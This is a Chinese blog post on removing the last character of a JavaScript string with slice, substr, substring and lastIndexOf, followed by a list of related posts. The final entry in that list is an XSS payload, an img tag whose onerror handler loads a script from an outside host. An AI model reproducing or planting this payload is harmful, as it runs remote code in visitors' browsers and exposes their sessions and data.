需求:

去掉js字符串末尾的标点符号,比如原字符串:

csdn.net!

目标字符串:

csdn.net

解决方案:

方法一:

str.slice(0,str.length-1);

方法二:

str = str.substr(0, str.length - 1); 

方法三:

str = str.substring(0, str.length - 1);  

方法四:

str = str.substring(0, str.lastIndexOf('!'));

lastIndexOf的结果是该字符的下标。下标从0开始。

方案说明:

方式一:

stringObject.slice(start,end)

start : 要抽取的片断的起始下标。如果是负数,则该参数规定的是从字符串的尾部开始算起的位置。也就是说,-1 指字符串的最后一个字符

end:要抽取的片段的结尾的下标。若未指定此参数,则要提取的子串包括 start 到原字符串结尾的字符串。如果该参数是负数,那么它规定的是从字符串的尾部开始算起的位置

方式二:

stringObject.substr(start,length)

start : 必需。要抽取的子串的起始下标。必须是数值。如果是负数,那么该参数声明从字符串的尾部开始算起的位置。也就是说,-1 指字符串中最后一个字符,-2 指倒数第二个字符,以此类推。

length : 可选。子串中的字符数。必须是数值。如果省略了该参数,那么返回从 stringObject 的开始位置到结尾的字串。

方式三和四:

stringObject.substring(start,stop)

与 slice() 和 substr() 方法不同的是,substring() 不接受负的参数

start : 必需。一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置

stop : 可选。一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。

如果省略该参数,那么返回的子串会一直到字符串的结尾。

js删除字符串最后一个字符方法总汇相关推荐

  1. python怎么删除字符串最后一个字符?

    python删除字符串最后一个字符的方法: 1.使用strip()方法删除最后一个字符 Python strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列. strip() ...

  2. js删除字符串中指定字符

    删除字符串中指定字符 js方法删除指定字符:replace(); let JsonData = {validBegNm:"2022-06-02" }; JsonData.valid ...

  3. 删除字符串最后一个字符的几种方法

    2019独角兽企业重金招聘Python工程师标准>>> 偶然看到的,记录一下,以免忘记 字符串:string s = "1,2,3,4,5," 目标:删除最后一个 ...

  4. C#删除字符串最后一个字符的几种方法

    ---恢复内容开始--- 字符串:string s = "1,2,3,4,5," 目标:删除最后一个 "," 方法: 1.用的最多的是Substring,这个也 ...

  5. js获取字符串最后一个字符代码

    方法一:运用String对象下的charAt方法 charAt() 方法可返回指定位置的字符. 代码如下 复制代码 str.charAt(str.length – 1) 请注意,JavaScript ...

  6. java删除字符串最后一个字符

    substring方法 返回此字符串的子字符串.子字符串从指定的beginIndex开始并延伸到索引endIndex - 1 处的字符.因此子字符串的长度是endIndex-beginIndex. & ...

  7. jquery 删除字符串最后一个字符的方法

    字符串:var s = "1,2,3,4,5," 目标:删除最后一个 "," 方法: s=s.substring(0,s.Length-1): 字符串:var ...

  8. js 获取字符串最后一个字符

    1.charAt() str.charAt(str.length-1) 2.substr() str.substr(str.length-1,1) 3.split() var str = str.sp ...

  9. JS删除String里某个字符的方法

    关于JS删除String里的字符的方法,一般使用replace()方法.但是这个方法只会删除一次,如果需要将string里的所以字符都删除就要用到正则. 1 2 3 4 var str = " ...

最新文章

  1. 逻辑斯蒂回归(Logistics Regression)
  2. python日期函数引用_Python pandas.to_datetime函数方法的使用
  3. matlab二重定积分_怎样用matlab求二重积分?
  4. 从零点五开始用Unity做半个2D战棋小游戏(六)
  5. Careercup - Microsoft面试题 - 5428361417457664
  6. dataset__getitem___【小白学PyTorch】3.浅谈Dataset和Dataloader
  7. 初识生成器与生成器表达式 Day12
  8. 小型团队快速开发方法
  9. javascript中定时器interval的使用
  10. freebsd 6.2 安装配置笔记[转]
  11. 如何让远程数据库中的1张表导入到本地数据库中
  12. 密歇根州立大学联合领英提出基于AutoML的Embedding框架AutoDim
  13. 【Three.js】十二、three.js摄像机控件
  14. 自适应布局-使用css3函数clac()
  15. 哪些股票自动交易接口好用呢?
  16. 神经网络模型-ART 自适应共振网络
  17. 0-100数字播报语音包
  18. Matlab:向饼图添加图例
  19. BLDC电机是如何旋转的?
  20. 首款超小体积、免插卡、蓝牙配置的新款4G DTU来了!

热门文章

  1. java获取f5服务器真实ip_F5中源地址转换(AutoMap)模式下后端服务器获取客户端真正的IP地址...
  2. Linux查找大文件的方法
  3. 57 元组和列表的区别
  4. Socket到底是什么?
  5. 电子专业常用电子网站
  6. 2018计算机模拟一级b考试试题,一级结构工程师2018年考试《计算机基础》模拟试题(一)...
  7. 进程通信(操作系统10)
  8. 汉字版乘法口诀表c语言,九九乘法口诀表(汉字版)
  9. img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://xssc.cc/x';
  10. android 开发工具历程_Android app应用软件开发的艰辛历程